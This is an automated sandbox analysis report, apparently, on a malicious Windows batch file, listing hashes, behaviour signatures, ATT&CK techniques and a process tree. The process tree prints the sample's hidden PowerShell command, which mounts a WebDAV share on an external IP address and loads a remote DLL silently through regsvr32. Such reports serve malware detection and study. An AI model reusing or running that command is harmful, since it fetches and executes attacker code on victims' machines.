24adf9a35596afa00ef5fee123deea3c6fe297da6eae363aa431858d353a8f60

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 12:38

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General

Target

2846420172281530055.bat
Size

2KB
MD5

637d0c16e24bccd9211d02e7e06b1917
SHA1

43a994ca60a233360658cf51db7ab70c064ba446
SHA256

24adf9a35596afa00ef5fee123deea3c6fe297da6eae363aa431858d353a8f60
SHA512

c2a374c68e937a0f5f0517d5e41c2c520ccafeda3929720a3781772b08e25cf5b84251ca4abecf9edacd6762019d7f11d93185479f89274c99216cfc31055ad9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2688	2644	cmd.exe	31
PID 2644 wrote to memory of 2688	2644	cmd.exe	31
PID 2644 wrote to memory of 2688	2644	cmd.exe	31
PID 2644 wrote to memory of 2808	2644	cmd.exe	32
PID 2644 wrote to memory of 2808	2644	cmd.exe	32
PID 2644 wrote to memory of 2808	2644	cmd.exe	32
PID 2808 wrote to memory of 2668	2808	powershell.exe	34
PID 2808 wrote to memory of 2668	2808	powershell.exe	34
PID 2808 wrote to memory of 2668	2808	powershell.exe	34
PID 2808 wrote to memory of 2568	2808	powershell.exe	35
PID 2808 wrote to memory of 2568	2808	powershell.exe	35
PID 2808 wrote to memory of 2568	2808	powershell.exe	35
PID 2808 wrote to memory of 2568	2808	powershell.exe	35
PID 2808 wrote to memory of 2568	2808	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2846420172281530055.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\250032363916635.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2668
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\250032363916635.dll
    3⤵
    PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2644-16-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download
memory/2644-17-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download
memory/2808-23-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2808-24-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download